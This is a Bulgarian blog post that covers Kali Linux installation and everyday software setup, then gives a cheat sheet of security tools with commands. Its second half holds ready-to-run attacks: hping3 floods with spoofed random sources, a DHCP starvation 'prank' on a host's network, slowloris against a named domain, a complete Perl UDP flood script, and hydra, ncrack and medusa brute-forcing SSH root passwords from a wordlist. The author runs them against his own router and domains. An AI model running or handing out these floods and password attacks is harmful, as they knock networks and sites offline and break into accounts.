Kali Linux

Kali Linux 2017.2 – 2018.4 Release

Каlі Lіnuх e диcтpибyция базирана на Debian Linux, с набор от инструменти зa тecтвaнe нa инфopмaциoннaтa cигypнocт (Penetration test). Каlі Lіnuх ce paзпpocтpaнявa в peжим нa нeпpeĸъcнaтo oбнoвявaнe (rоllіng dіѕtrіbutіоn). B диcтpибyциятa e въвeдeнa cиcтeмa зa пpoвepĸa нa вepcиитe нa включения софтуер. Поддържа х32, х64 и АRМ apxитeĸтypи.

След като зареди от CD или от Flash drive ще се появи Boot menu на Kali Linux което ще ни предложи различни опции. Тези на които трябва да се обърне внимание са стартиране на жив образ Live (amd64) или Install – инсталиране на системата на диск. Тъй като Kali Linux е базирана на Debian (една от най разпространените Линукс дистрибуции) инсталациятa на операционната система е напълно идентична с инсталатора на Debian който не е променян поне от 10 години.

Обновяване на системата след инсталация

$ sudo apt-get update && sudo apt-get upgrade

Проверка за ново издание.

sudo apt-get dist-upgrade

Изчистване на системата.

$ sudo apt-get autoremove && sudo apt-get autoclean

Инсталиране на основен софтуер

$ sudo apt-get install ttf-mscorefonts-installer gimp thunderbird rar htop filezilla vlc mtr-tiny transmission neofetch bmon sshpass libreoffice

Инсталиране на flashplayer във Firefox

Първо трябва да посетим страницата https://get.adobe.com/flashplayer/ и да изтеглим:

В терминал изпълняваме следните команди.

$ tar xfvz Downloads/flash_player_npapi_linux.x86_64.tar.gz
$ sudo cp libflashplayer.so /usr/lib/mozilla/plugins/

След което задължително рестартираме браузера за да имаме flashplayer.

Безжичен адаптер Broadcom

Проверка с командата lspci дали безжичната карта е Broadcom.

Ако и вашият лаптоп е като моя с безжична карта Broadcom след инсталация на операционната система ще ви работи само Ethernet (Лан) картата. С лан кабел се свързвате към някой рутер за да имате Интернет и със следните команди може да заредите модула за безжичната карта Broadcom.

$ apt-get update
$ apt-get install linux-image-$(uname -r|sed 's,[^-]*-[^-]*-,,') linux-headers-$(uname -r|sed 's,[^-]*-[^-]*-,,') broadcom-sta-dkms
$ modprobe -r b44 b43 b43legacy ssb brcmsmac bcma
$ modprobe wl

Управление на батерията за Лаптоп

Оптимизираното управление на батерията я щади и удължава живота и. Демона tlp трябва задължително да е инсталиран в стандартен лаптоп, в противен случай при най малкото натоварване охлаждащия модул на процесора от време на време ще работи на максимални обороти без да е нужно това.

$ sudo apt install tlp
$ sudo tlp start

Инсталация на Teamviewer

Незнам как стана но Teamviewer в момента е най използвания софтуер за отдалечен десктоп достъп както за Linux така и за Windows.

$ wget https://download.teamviewer.com/download/linux/teamviewer_amd64.deb
$ sudo dpkg -i teamviewer_amd64.deb
$ sudo apt-get install -f
$ sudo dpkg -i teamviewer_amd64.deb

Инсталация на Winbox

Тъй като аз съм инсталирал 64 битов Kali Linux а winbox е 32 битов трябва да добавя такава 32 битова архитектура в хранилището на дистрибуцията, да опресня базата и чак след това да инсталирам 32 битов wine емулатор, който ще стартира winbox.

$ wget -c https://download2.mikrotik.com/routeros/winbox/3.11/winbox.exe
$ sudo dpkg --add-architecture i386 && sudo apt-get update && sudo apt-get install wine32
$ wine winbox.exe

Инсталация на Skype

Наскоро “микромеката” компания изненада с нова версия на Skype, втора седмица съм с нея, работи учудващо добре.

$ wget -c https://go.skype.com/skypeforlinux-64.deb
$ sudo dpkg -i skypeforlinux-64.deb
$ sudo apt-get install -f

Инсталация на Dropbox

sudo apt install nautilus-dropbox

Активиране на двоен клик и десния бутон на (мишката/пада) на лаптоп

Активиране на copy/paste в редактора vim

sudo vim /usr/share/vim/vim81/defaults.vim

намираме реда set mouse=a и го променяме на set mouse-=a

В по нови версии, след 2018.4 параметъра трябва да е set mouse=r

Kali Linux има богата база от инструменти за откриване и решаване на проблеми свързани с мрежи, сървъри, дупки в сигурноста и т. н. което превръща тази дистрибуция в удобен инструмент за работа на всеки мрежов/системен администратор. Ще споделя една част от инструментите които ползвам често, както и други такива които ги няма в базата на дистрибуцията. Това което ще покажа, не претендира, че е пълна картина на възможностите на системата (умишелно няма примери с exploits,air-crack и mysql injection). По скоро ми се иска това да е подсещаща статийка с набор от инструменти които надявам се ще помогнат на някой колега, а може би и на мен когато не мога да се сетя нещо. В примерите по долу няма да срешнете подробни описания, считам това за ненужно. Ако сте стигнали до тук значи знаете какво търсите, въпреки това се надявам, че ще бъдете умни и някои от примерите няма да ги пробвате върху Интернет доставчика си например !

nmap – network scanner

Хост скенера Nmap изпраща специално изработени пакети до хостa и след това анализира отговорите. За разлика от други порт-скенери, Nmap проверява условията в мрежата (претоварване на мрежата и др.) преди сканирането. Благодарение на голямата общност от активни потребители, които предоставят информация и подобряват характеристиките му, Nmap е успял да разшири възможностите си за сканиране, като освен, че открива, дали един хост е активен или определен порт е отворен, той може да определи операционната система на хоста и нейната версия, наименованието и версиите на услугите, които са активни на хоста, типа на устройството, наличието на защитна стена и др.

$ nmap 93.155.130.11

analyze_hosts – very powerful scanner

analyze_hosts е много мощен скрипт събиращ информация за определен хост, той включва набор инструменти които събират информацията и я извеждат в четим вид. За мен analyze_hosts е така да се каже “Висш пилотаж” в сканирането. Незнам да има друг скрипт който да събира в четим вид толкова информация за определен хост в мрежата.

git clone https://github.com/PeterMosmans/security-scripts.git
sudo apt-get install python-nmap
cd security-scripts/
pip install -r requirements.txt
./analyze_hosts.sh -a telehost.bg

mtr – traceroute

mtr показва хоповете след вашия маршрутизатор до избрана дестинация. mtr извежда същата информация като traceroute в операционната система Windows това е tracert, но в реално време създавайки нещо като табличка която на всеки ред показва скороста на отговирте на пакетите и има ли загуби хъм хоповете по пътя.

$ mtr kali.org

arp-scan – arp scanner

arp-scan както подсказва името му е удобен инструмент за анализ в една layer 2 мрежа, чисто технически в мрежите без маршрутизатори по трудно се откриват проблемите. arp-scan е много лек и бърз начин за откриване на всички мрежови устройства, дори и те да се крият зад firewall защото той по принцип работи в по горния мрежов слой.

$ sudo arp-scan -l

wpscan – WordPress security scanner

WPScan е web скенер който тества сигурността на сайтове, изградени с wordpress. Когато за първи път използвате WPScan ще останете шокирани от обема информация която този скрипт дава. Версия на WordPress, версии на плъгини, теми и т. н. плюс евентуални дупки в сигурноста на сканирания сайт.

$ sudo wpscan --url itservice-bg.net

braa – SNMP Scanner

braa е много бърз SNMP скенер, стига да имате под ръка мрежов хост пуснат с такава услуга.

$ braa public@192.168.60.1:.1.3.6.*

cisco-torch – Cisco scanning

Добрата практика в Cisco е да има managament VLAN чрез който системните администратори да имат достъп до управлението на устройството. Това обаче не винаги е така и ако знаете адреса му може да съберете малко информация за него.

$ cisco-torch -A 172.16.99.2

dmitry – IP/Host information tool

DMitry (Deepmagic Information Gathering Tool) се опитва да събира възможно най-много информация за мрежов хост. Базовата функционалност е в състояние да събере информация за възможни поддомейни, имейл адреси, информация за ъптайм, сканиране на TCP портове, търсене на whois и др. Знам, че прилича малко на analyze_hosts но всъщност няма нищо общо, защото тук търсенето е и със свързани обекти с хоста.

dmitry itservice-bg.net

dnsrecon – check all NS records

DNSRecon е скрипт който показва DNS конфигурацията в един домейн. DNS е една от най важните услуги в Интернет и същевремнно най занемарената.

$ dnsrecon -d itservice-bg.net

fierce – corporate map

fierce ще допълни информацията ви как работи DNS в един домейн

$ fierce -dns itservice-bg.net

hping3 – flood from random source IP

hping3 е генератор на пакети и анализатор на TCP/IP протокола. Той е много мощен тестер за мрежова сигурност и важен инструмент за симулиране на атаки с цел тест на защитни стени. hping3 много често се използва в симулация на DoS атака с множество пакети от различни източници. Но всъщност предпочитам да дам по разширен пример:

$ sudo hping3 -S -P -U --flood -V --rand-source 192.168.60.1
$ sudo hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source 192.168.60.1
$ sudo timeout 10s hping3 -d 64 -2 -p 53 --flood --rand-source 192.168.60.1

-c 100000 = Number of packets to send.
-d 120 = Size of each packet that was sent to target machine.
-S = Set SYN tcp flag.
-P –push = Set PUSH tcp flag.
-A –ack = Set ACK tcp flag.
-U –urg = Set URG tcp flag.
-w 64 = TCP window size.
-p 21 = Destination port (21 being FTP port)
–flood = Sending packets as fast as possible.
–rand-source = Using Random Source IP Addresses.
192.168.60.1 = Destination IP address or target machines IP address.
timeout 10s = Тime of attack.

Домашният ми рутер е с IP адрес 192.168.60.1, след като изпълния командата с hping3, ще отворя нов терминал и с fping ще проверя състоянието ми на връзката по време на таката.

Видно е, че имаме загуби, връзката до рутера почти не съществува а за Интернет да не говорим.

Нека да видим какво се случва в рутера, несъществуващи IP адреси изпращат огромно количество пакети с малка големина – съответно, рутера не може да ги обработи.

masscan – network TCP port scanner

Това е най-бързият скенер на мрежови хостове в света. Той може да сканира огромни префикси от мрежи само за няколко минути, masscan генерира няколко милиона пакета в секунда използвайки асинхронно предаване.

$ sudo masscan -p22,80,445 192.168.60.0/24

sslscan – analyze the SSL

За да разгледам сертификата на определен сайт трябва да нацъкам 15 клика с мишката в който и да е браузер а в терминала мога да го направя с един ред.

$ sslscan itservice-bg.net

pig – DHCP flood attack

Много гаден номер е да отидете някъде на гости, да “нафлудите” мрежата на домакина с мак адреси които искат IP адрес и да попитате защо няма Интернет 🙂 След като DHCP сървъра си запълни пула от възможните адреси които може да раздава той спира да дава, след което всеки клиент който иска адрес не може да получи такъв – съответно няма да има и Интернет.

$ sudo pig.py eth0

slowloris – DDos for web server

slowloris е убиеца на уеб сървъри, запушвайки и сокетите с излишни връзки които на практика не се използват. Различните сървъри се държат по различен начин, най уязвим е apache макар и в последните версии проблема почти да е решен със лимит на потребителя по ип адрес въпреки, че не е най интелигентното решение.

$ sudo apt-get install libwww-mechanize-shell-perl
$ git clone https://github.com/llaera/slowloris.pl
$ perl slowloris.pl/slowloris.pl -dns itservice-bg.net

Ако уеб сървъра не издържи на атаката, то той спира да отговаря и съответно сайта изчезва. Ако сървъра обаче има ip_limit това ще се случва само за вас и за да сте сигурни, че не е така трябва да се отвори сайта и от друг IP адрес.

flood.pl – DDos udp flooder

Тъй като архитектурата на udp протокола е такава, че определен хост може да изпраща пакети без да го интересува дали стигат до получателя би било редно да има и такава DoS атака. Ако атакуващия има по голям капацитет на Интернет връзката то той изпращайки пакети към определен хост в мрежата с по малък капацитет може в буквалния смисъл да му запуши канала към Интернет. Не мога да се въздържа да не кажа, че това е и една от най тъпите и най лесно откриваеми атаки. Не правете това през доставчика си – или администраторите или някой с по голям капацитет ще ви спре Интернета.

$ nano flood.pl
#!/usr/bin/perl
 
# ./flood.pl 192.168.60.1 0 0 0
 
use Socket;
use strict;
 
if ($#ARGV != 3) {
print " ./flood.pl 0 0 0\n";
print " port=0: use random ports\n";
print " size=0: use random size between 64 and 1024\n";
print " time=0: continuous flood\n";
exit(1);
}
my ($ip,$port,$size,$time) = @ARGV;
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);
print "Flooding $ip " . ($port ? $port : "random") . " port with " .
($size ? "$size-byte" : "random size") . " packets" .
($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;
for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

save text editor = Ctrl+o+Enter
exit text editor = Ctrl+X

$ chmod 755 flood.pl
$ perl flood.pl 192.168.60.1 0 0 0

След като изпълния скрипта с програмата bmon може да се види как се запушва 100Mbs лан карта

$ bmon

И съответно връзката до домашния ми рутер се влошава драстично

hydra, ncrack, medusa – passwords wordlist attack

Дойде и времето на така наречените wordlist атаки. Тук ще покажа hydra, ncrack и medusa които правят едно и също, но малко по различен начин. И трите са предназначени за отворен SSH порт на някой хост в Интернет да му отгатнете паролата от възможна листа в текстов файл. В Интернет вилнеят такива ботове непрекъснато, достатъчно е да си оголите порт 22 и ще ви надушат за минути.

$ hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt backup.itservice-bg.net ssh

Така изглежда атакуващата машина

А това е лог файла на атакуваната машина

$ sudo tail -f /var/log/auth.log

Ето как става това и в ncrack и medusa

$ ncrack --user root -P /usr/share/wordlists/metasploit/unix_passwords.txt backup.itservice-bg.net:22
$ medusa -u root -P /usr/share/wordlists/metasploit/unix_passwords.txt -h backup.itservice-bg.net -M ssh

uniscan – Web scanner

uniscan е терминален уеб скенер който не се обновява много често, но въпреки това дава прилична информация, за уеб сървъра на определена машина в Интернет. uniscan ще имитира известни атаки в уеб и ще ви направи репорт на резултата.

$ sudo uniscan -u http://93.155.130.11 -qd

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

This Post Has 2 Comments

  1. Милен

    Хубави, обяснения на tool-овете в KALI. Аз лично понеже ме мързи да си качвам Кали, ползвам Linux MINT и там също си работят. Благодаря за всички статии, които пишете, страхотни сте. 🙂

  2. mr._robot

    Как е възможно да не съм попаднал на тази статия досега .. 🙂